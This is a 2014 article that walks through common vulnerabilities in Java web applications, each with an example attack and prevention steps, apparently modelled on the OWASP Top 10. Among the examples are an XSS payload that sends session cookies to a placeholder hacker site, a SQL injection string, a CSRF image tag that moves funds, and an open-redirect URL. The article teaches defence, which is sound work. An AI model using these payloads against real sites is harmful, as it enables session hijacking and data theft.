October 31, 2014

Security Vulnerabilities in Java-based Web Applications

With the proliferation of Web 2.0, the frequent usage of networks makes web applications vulnerable to a variety of threats. According to a survey by Cenzic in 2014, 96% of tested applications have vulnerabilities. According to a Cisco survey that was also conducted in 2014, 50,000 network intrusions are found on a daily basis.

Hackers can potentially take various types of paths through your application to cause risks to your business. So such threats need to be evaluated for instance, identify the threat agents, security measures, its technical impacts and thus ultimately the business impacts threats may cause. A traditional firewall is not capable of detecting application layer (layer 7) traffic. Web application threats are largely not known until they reach the web server. For example, a valid user being able to access functionality that she/he is not authorized for.

A few computer security vulnerabilities in Java-based web applications with their attack scenarios & prevention steps are mentioned in brief below:

Java

Figure 1: The Vulnerability of Web Applications

Java

Figure 2: Web Attack methods

Security Vulnerability What’s it?  Example Attack Scenario  Prevention
Cross-Site Scripting (XSS) Cross-Site Scripting(XSS) flaws occur if application takes non-trusted data & pass it to browser without suitable validations/escaping. It allows an attacker to run malicious scripts in the host’s browser. Possible problems could be hijacking user sessions, defacing web sites, invalid redirects & forwards. Hacker might utilize malicious data in developing following HTML code without validation or escaping:
(String) page += ”
<input name=’myaccountname’
type=’TEXT’ value='” +
request.getParameter(“FF”) + “‘>”;

The eve-dropper changes the ‘FF’ parameter in their browser to:
<script>document.location=
‘https://www.hacker.com/
cgi-bin
/cookie.cgi?param=’
+document.cookie</script>’.

This will permit transferring of victim’s session ID to hacker’s site and thus they can misuse it for access.
1. Escape all input data
2. Strong Input Validation where it decodes all encoded information.
Using Modules with known vulnerabilities Software components like frameworks, libraries and other modules usually run with full privileges. Such software may undermine its defences and allows a range of possible impacts or attacks. Misuse of the Expression Language (EL) in Spring based web application permits hackers to run arbitrary code, leads to unauthorized access. 1. Identify dependent components.
2. Monitor security of used components in version & public listings.
3. Develop security policies.
 SQL Injections It is a coding way, used to hack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. The software uses malicious data in developing the below suspicious SQL query:
String query = “SELECT * FROM
branches WHERE branchID='”
+ request.getParameter(“name”) + “‘”;

Eve-dropper can change this name parameter and append ‘ or ‘1’=’1 which alters query and enables fetching of all records.
1. Use Prepared Statements in queries & procedures
2. Escaping input given by user especially those with special character
Missing Function Level Access Control Usually function level access rights got verified which permits that functionality to appear in the UI. Also, similar access control checks are done on the server when each function is accessed. Hackers will forge requests in order to access functionality without legal authorization, if requests are not checked. The attacker simply forces browser to hit target URLs. Say the below URLs require authentication and admin rights are also required for access to admin_getAppAccess page
https://myweb.com/appl/getAppAccess
https://myweb.com/appl/admin_getAppAccess
.
If a non-admin unauthenticated user can access either page, that’s a flaw
1. Access Control for business processes.
2. Role based authorization for every operation.
3. Restricted Access to File Management.
Sensitive Data Exposure Sometimes web portals fail to properly save sensitive data like account details, authentication credentials. Hacker might steal/change such less protected information to conduct crimes like debit card fraud,identity theft. Sensitive information needs more care like encryption at rest or in transit and special precautions when exchanged with the browser A webpage simply doesn’t use SSL for every authenticated page. Attacker simply observes network traffic (say an open wireless network), and steals the user’s cookie of its session. Eve-dropper then replays such cookie and hijacks the user’s session, accessing the customer’s private information. 1. Don’t save sensitive data unnecessarily
2. Check whether passwords are saved with algorithm specifically designed for its protection
3. Stop auto-complete on screens & caching on forms collecting sensitive data
Cross-Site Request Forgery (CSRF) CSRF is a problem which allows a logged-on victim’s browser to make a forged HTTP request alongwith the victim’s session cookie with any other automatically included access information to a vulnerable web application. This permits the hacker to force the victim’s browser to generate requests the vulnerable application thinks as legal requests arising via the victim’s end Application permits user to send a state changing request :
https://myweb/app/sendFunds?amount=9880&targetAct=4673892

Thus the eve-dropper develops a request to enable money transfer from the victim’s account to that eve-dropper
as embeds into image or iframe.
<img src= “https://myweb/app/sendFunds
?amount=9880&targetAct=hackerAcct#” />

If any such website got traversed while already authenticated to this website, any forged requests will have session info, inadvertently authorizing the request.
1. Incorporate a unique token within hidden field or URL.
2. Origin and Referrer Header are verified.
3. Captcha can be incorporated
Insecure Direct Object References It occurs when a programmer exposes a direct/indirect reference to an internal implementation object, like a folder, file, or database key.
If no access-control checks and other protection, then hackers can modify these references to access unauthorized information.
If application utilized unverified data in a SQL query:
String query = “SELECT * FROM myacts WHERE accntNo = ?”;
PreparedStatement pstmt
=connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter(“acnumber”));
ResultSet results =
pstmt.executeQuery( );

The attacker simply modifies the ‘acnumber’ parameter.
https://myweb.com/app/info?acct=notuseraccount
 1. Use per user or per session indirect object references:
For instance, a list of 4 resources could use the
keys 1 to 4 to indicate value the user can choose, instead of referring by resource’s name.
2. Check access for request
Invalidated Redirects & Forwards Web sites usually redirect and forward users to other webpages and sites, and use malicious data to know the destination pages. Without suitable validation checks, eve-dropper can redirect victims to phishing/malware websites, or use forwards to access illegal pages. Suppose a page called “redirect.jsp” exists in application which had a single parameter named “url”. Eve-dropper would develop a untrusted URL which redirects users to a non-trusted site.
https://www.myweb.com/redirect.jsp?url=hack.com
1. The implementation is reviewed for all uses of forward or redirect.
2. Check the application and detect whether if it makes redirects
Security Misconfiguration Proper security needs to have a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Like secure and robust configuration settings should be defined, implemented, and maintained, as default configurations are often easily attacked. Also, software should be up to date. For instance, admin console of app server is automatically installed and not removed. Default accounts remain same. Hacker finds the standard admin pages are on your server, logs in with default key/passwords, and takes over access. 1. Hardening process needs to be repeated.
2. Architecture of product should be strong with loose coupling and tight security among modules.
Broken Authentication & Session Management Application functions in relation with authentication and session management are often not properly implemented as expected, permitting hackers to assume other users’ identities by compromising keys, passwords or session tokens, or to exploit other implementation flaws. For instance, Hotel reserving application supports URL rewriting, embedding session IDs in the URL:
https://myweb.com/list/
jsessionid=
2K0OC2PNPOLCDSN2JV?dest=Goa

A legal user of the site wants to let his colleagues know about the purchases. The above link if e-mailed then without being aware of the fact that he is also giving away his session ID. When his colleagues use the link they will use his session and debit card.
1. Hard authorization and session management checks
2. Prevent cross site scripting flaws which further prevents stealing of session-id
3. Use SSL

Conclusion:

Web applications span a wider, less-trusted user-base than legacy client-server applications, and still they are more vulnerable to threats. Organizations are taking initiatives to prevent these types of break-ins and for the same, organizations are handling this menace via some ways like code reviews, extensive penetration testing, and intrusion detection systems. To reduce these threats, applications should be redesigned by considering the above-mentioned prevention steps to lead to more secure, robust businesses.